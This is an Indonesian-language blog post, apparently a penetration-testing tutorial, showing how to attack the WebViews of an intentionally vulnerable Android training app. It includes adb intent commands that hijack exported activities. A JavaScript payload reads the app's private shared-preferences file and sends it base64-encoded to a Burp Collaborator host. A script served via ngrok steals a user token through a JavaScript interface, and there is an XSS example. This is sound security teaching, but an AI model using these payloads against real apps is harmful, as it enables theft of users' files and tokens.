Exposing Android WebView Security Risks

Avatar photo
Exposing Android WebView Security Risks

WebView adalah komponen dalam pengembangan perangkat lunak yang memungkinkan aplikasi untuk menampilkan konten web dalam aplikasi. Ini memungkinkan pengembang untuk mengintegrasikan bagian dari situs web ke dalam aplikasi mobile mereka, memberikan pengguna pengalaman yang lebih mulus dan terintegrasi. WebView biasanya digunakan dalam pengembangan aplikasi Android dan iOS.

WebView class, yang merupakan perluasan dari class View di Android, dapat digunakan untuk menampilkan halaman web sebagai bagian dari activity layout yang tidak memiliki tombol navigasi ataupun address bar, yang merupakan dua bagian penting dari sebuah browser web. Secara default, tugas utama WebView adalah menampilkan halaman web.

Aplikasi android menggunakan WebView untuk memuat konten dan halaman HTML di dalam aplikasi. Karena fungsinya ini, implementasi WebView harus aman untuk mencegah risiko potensial bagi aplikasi.

Selain itu, WebView menimbulkan risiko keamanan serius baik bagi perangkat maupun aplikasi. Saat melakukan Android assessment (penilaian), para penguji penetrasi mobile sebaiknya memperhatikan teknik-teknik berikut dan kondisi saat ini untuk menemukan potensi bahaya :

  • setAllowContentAccess
  • setAllowFileAccess
  • setAllowFileAccessFromFileURLs
  • setAllowUniversalAccessFromFileURLs
  • SetJavaScriptEnabled

Untuk mengeksploitasi WebView, saya akan menguji aplikasi Vulnerable WebView, dan kemudian kita akan belajar bagaimana menyerang WebView secara manual dalam aplikasi Android.

Webview are Exported

Sebelum melalukan testing, sebelumnya cek terlebih dahulu apakah Webview tersebut termuat pada aplikasi yang akan kita testing.

Karena WebView adalah bagian dari aktivitas aplikasi, kita harus mendekompilasi sebuah APK untuk memeriksa file AndroidManifest.xml dan aktivitas-aktivitasnya untuk mencari WebView yang vulnerable. disini saya menggunakan jadx-gui untuk melakukan decompile dan menganalisisnya.

Sekarang memeriksa komponen-komponen yang diekspor. dapat disimpulkan bahwa ada dua cara untuk mengekspor sebuah komponen.

  • Jika komponen secara khusus menyatakan nilai atribut sebagai “exported=true,”
  • Jika filter intent dan atribut “exported=false” ada dalam komponen,

Untuk memeriksa bahwa WebViews ada pada aplikasi, beberapa komponen, termasuk SupportWebView, RegistrationWebView, dan MainActivity, diekspor secara eksplisit.

SupportWebView

Jelas bahwa fungsi loadWebView memuat URL dengan menggunakan string yang diperoleh dari intent.

Untuk memanfaatkan fungsi ini, aplikasi pihak ketiga dapat mengirimkan sebuah intent ke komponen ini beserta sebuah string URL, dan aplikasi target akan menerima dan menjalankan intent tersebut karena komponen ini telah diekspor. Komponen WebView dalam aplikasi target dapat diakses oleh aplikasi pihak ketiga.

Exploitation

Untuk mengakses malicious URL yang dibuat oleh penyerang (attacker) dalam konteks aplikasi, saya menggunakan ADB untuk melakukan request intent ke komponen.

adb shell am start -n com.tmh.vulnwebview/.RegistrationWebView --es reg_url https://tegalsec.org

Setelah menjalankan perintah tersebut, bisa dilihat bahwa tampilan dari https://tegalsec.org muncul pada halaman registrasi aplikasi tersebut.

Catatan : Metode yang dijelaskan di atas hanya berfungsi jika komponen diekspor secara langsung; itu tidak berfungsi untuk komponen yang diekspor oleh filter intent.

setAllowUniversalAccessFromFileURLs enabled for WebView

Penyerang dapat membaca file lokal menggunakan JavaScript dan mengirimkannya ke domain yang dikendalikan oleh penyerang.

Jika WebView diekspor, ini bisa sangat berbahaya karena memungkinkan penyerang membaca file apa pun yang mungkin bersifat pribadi bagi aplikasi tersebut.

Exploitation

Sekarang kita coba buat exploit menggunakan javascript untuk melakukan Arbitrary file read, disini saya menggunakan bantuan burp collaborator

<script>
var url = 'file:///data/data/com.tmh.vulnwebview/shared_prefs/MainActivity.xml'; //local file
function load(url) {
var xhr = new XMLHttpRequest();
xhr.onreadystatechange = function() {
if (xhr.readyState === 4) {
fetch('https://{BURP}/?exfiltrated=' + btoa(xhr.responseText));
}
}
xhr.open('GET', url, true);
xhr.send('');
}
load(url)
</script>

Pindahkan file payload.html tersebut ke /sdcard menggunakan adb, dan jalankan exploitnya

adb shell am start -n com.tmh.vulnwebview/.RegistrationWebView --es reg_url "file:///sdcard/payload.html"

Pada titik ini, kita sudah dapat menerima ping melalui burp collaborator kita.

JavaScript Enabled with Interface for WebView

Dengan menambahkan pengaturan ini, developer dapat mengaktifkan JavaScript di WebView.

webView.getSettings().setJavaScriptEnabled(true);

Menambahkan konfigurasi ini menciptakan interface antara JavaScript halaman web dan di client-side aplikasi. Artinya, JavaScript pada halaman web dapat mengakses dan menyuntikkan kode kedalam aplikasi

webView.addJavascriptInterface(new WebAppInterface(this), "Android");

Jika aktivitas ini diekspor, ini bisa berisiko dan memberikan penyerang akses ke berbagai serangan, termasuk XSS dan pencurian token aplikasi.

Exploitation

Untuk mengeksploitasi skenario ini, kita tidak dapat menggunakan WebView yang sama seperti di atas karena tidak menggunakan interface. Oleh karena itu, kita akan menggunakan WebView lain yang telah menggunakan interface tersebut.

Kita dapat menggunakan WebView support karena JavaScript sudah diaktifkan bersamaan dengan penggunaan interface yang bernama “Android”.

<script type="text/javascript">
document.write("token: " + Android.getUserToken());
</script>

Script tersebut menghasilkan token dari objek Android, yang merupakan nama interface, dan metode getUserToken().

Untuk mengeksploitasinya kita bisa menggunakan Ngrok.

ngrok http 80

Untuk mengeksploitasinya kita bisa menuliskan command :

adb shell am start -n com.tmh.vulnwebview/.SupportWebView --es support_url "https://{NGROK}/payload.html

Kita juga bisa mencoba serangan XSS cukup dengan mengubah baris document.write dengan payload XSS kita.

<script type="text/javascript">
alert("XSS by Tegalsec");
</script>

Munkin itu saja yang bisa saya tuliskan mengenai “Exposing Android WebView Security Risks” yang secara point ada  4 kerentanan terkait WebViews yang saya tulis secara ringkas :

  • Exported WebView (WebView Hijacking)
  • Universal File access from file is enabled for WebView (File Theft)
  • Use of setJavaScript Enabled (XSS)
  • Javascript Interface (token stealing)

Referensi :

  • Exploiting Android WebView Vulnerabilities | Redfox Security
  • Android security checklist: WebView | Oversecured Blog
  • Build web apps in WebView  |  Android Developers
Total
0
Shares
Leave a Reply

Your email address will not be published. Required fields are marked *

Previous Post

Perjalanan menemukan celah jenis IDOR pada Mozilla Monitor

Next Post

Security and Exploitation of Broadcast Receivers in Android

Related Posts